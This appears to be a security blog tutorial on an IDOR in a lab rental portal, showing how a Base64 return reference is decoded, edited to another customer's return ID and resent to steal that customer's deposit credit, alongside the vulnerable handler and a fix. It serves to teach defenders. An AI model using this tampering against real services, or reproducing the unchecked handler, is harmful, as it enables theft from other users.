Back to blog

Base64 IDOR in a Return Credit Claim

Marius Horatau
Written by
Marius Horatau
Published on

IDORs are harder to spot when object identifiers are packed into encoded application state. This example hides a return ID and credit recipient inside Base64, but the server still trusts both values when it issues store credit.

Gearbox Returns dashboard for Morgan Lee showing two rentals, a $12.50 store-credit balance and a $38 deposit credit pending
Gearbox looks like a normal rental account. The vulnerable reference only appears when Morgan starts the return-credit flow.

Some IDORs are easy to spot because the object identifier appears directly in a URL or JSON field. Others are less obvious. The identifier may be packed into a cookie, serialized object, encoded query parameter or confirmation blob that looks like application-generated state.

Encoding changes how the value looks, but it doesn’t change who controls it. If the browser can submit the value, the server must treat the decoded fields as client input and authorize the operation against the signed-in account.

Note

What is an IDOR? An insecure direct object reference is an authorization flaw where an application uses a client-supplied identifier to access or modify an object without checking whether the signed-in user is allowed to perform that action on that object. In API security, this is also described as broken object level authorization (BOLA). The identifier may be a number, UUID, filename, token or an encoded value like the one in this example.

Gearbox Returns is an example of this pattern. The rental portal lets customers return equipment and release their deposits as store credit. Morgan’s dashboard shows the ordinary state before the test: a $12.50 wallet balance, one return in progress, and a $38 deposit waiting to be released.

The credit endpoint accepts a single field:

POST /api/returns/claim-credit HTTP/1.1
Content-Type: application/json
Cookie: <authenticated session>

{
  "returnRef": "eyJyZXR1cm5JZCI6NDEwMiwiY3VzdG9tZXJJZCI6MTAwN30="
}

The character set and trailing = padding are clues that the value may be Base64, although it can look opaque at first. Base64 is a reversible encoding rather than encryption. In this request it wraps a JSON object, which I decoded in the browser console with atob():

atob("eyJyZXR1cm5JZCI6NDEwMiwiY3VzdG9tZXJJZCI6MTAwN30=")

The call returned:

{"returnId":4102,"customerId":1007}

Once I decode a value like this, I treat every field as client-controlled input. These two fields tell the server which return to process and which customer should receive the money.

Exploiting the Base64 return reference

The signed-in customer is 1007, and return 4102 belongs to that account. The reference used a small integer return ID, so I tested nearby values while keeping the recipient set to customer 1007. Return 4100 matched another customer’s pending return, worth $96.

The modified JSON was:

{"returnId":4100,"customerId":1007}

I encoded the modified object again with btoa():

btoa('{"returnId":4100,"customerId":1007}')

That produced:

eyJyZXR1cm5JZCI6NDEwMCwiY3VzdG9tZXJJZCI6MTAwN30=

I sent the modified reference to the same endpoint:

POST /api/returns/claim-credit HTTP/1.1
Content-Type: application/json
Cookie: <authenticated session>

{
  "returnRef": "eyJyZXR1cm5JZCI6NDEwMCwiY3VzdG9tZXJJZCI6MTAwN30="
}

The relevant fields in the response were:

{
  "amountCents": 9600,
  "balanceAfterCents": 10850
}

Customer 1007 started with $12.50 and should have received $38 from return 4102. Instead, the modified request adds another customer’s $96 deposit and leaves a balance of $108.50.

The request also consumes the victim’s return credit. The handler marks return 4100 as credit issued, so replaying the request returns HTTP 409 Conflict and the original customer can no longer claim that deposit.

The missing ownership check

The API route does authenticate the caller:

const customer = await requireApiCustomer();

if (!customer) {
  return NextResponse.json({ message: "Unauthorized" }, { status: 401 });
}

const result = await claimReturnCredit(returnRef);

The route knows who is signed in, but it never passes that customer to claimReturnCredit(). This is the practical difference between authentication and authorization: the route identifies the caller, while the credit function has no session identity against which it can authorize the return.

Inside claimReturnCredit(), both security-sensitive identifiers come from the decoded reference:

const decoded = decodeReturnRef(returnRef);

const returnAuthorization = await tx.returnAuthorization.findUnique({
  where: { id: decoded.returnId }
});

const recipient = await tx.customer.findUnique({
  where: { id: decoded.customerId }
});

The function verifies that the return exists and its credit is still pending. It verifies that the recipient exists too. It never verifies that the return belongs to the signed-in customer.

The rest of the portal does perform ownership checks. Requesting another customer’s return or label returns HTTP 404 Not Found. The IDOR is confined to the credit action, so testing only the read endpoints would miss it.

Why Base64 does not prevent IDOR

Base64 changes the representation of the JSON. It provides no integrity and does not prove that the application generated an unchanged value. Anyone who receives the reference can decode, edit and encode it again.

The sequential return IDs make the target easy to find in this lab, but replacing them with UUIDs would only make enumeration harder. The server would still accept a return belonging to another customer if its identifier became known through a log, URL, browser history, support response or another endpoint.

The route should pass the authenticated customer ID into the credit function:

const result = await claimReturnCredit(returnRef, customer.id);

Inside the existing database transaction, the return lookup can include ownership and the recipient can come from the same session identity:

const decoded = decodeReturnRef(returnRef);

const returnAuthorization = await tx.returnAuthorization.findFirst({
  where: {
    id: decoded.returnId,
    customerId: sessionCustomerId,
    status: "credit pending"
  }
});

if (!returnAuthorization) {
  return { ok: false, status: 404 };
}

const recipient = await tx.customer.findUnique({
  where: { id: sessionCustomerId }
});

The browser doesn’t need to supply customerId; the server already has it in the session. Signing the reference would prevent this exact modification, but in a session-based account flow I would still bind the return to the active customer when issuing the credit. Otherwise the signed value becomes a bearer credential for a financial action.

When I test encoded application state, I decode it, change one field at a time and record which server-side decision changes. In this case the client controls two decisions: which return loses its deposit and which wallet receives it.

Next up

Fundamental security principles

This post is all about the “big ideas” behind secure systems, like least privilege and separation of duties. These principles are surprisingly simple but form the backbone of how we design systems to stay safe from attacks.

© 2026 Uphack.io ✦ Theme inspired by Aria

RSS Theme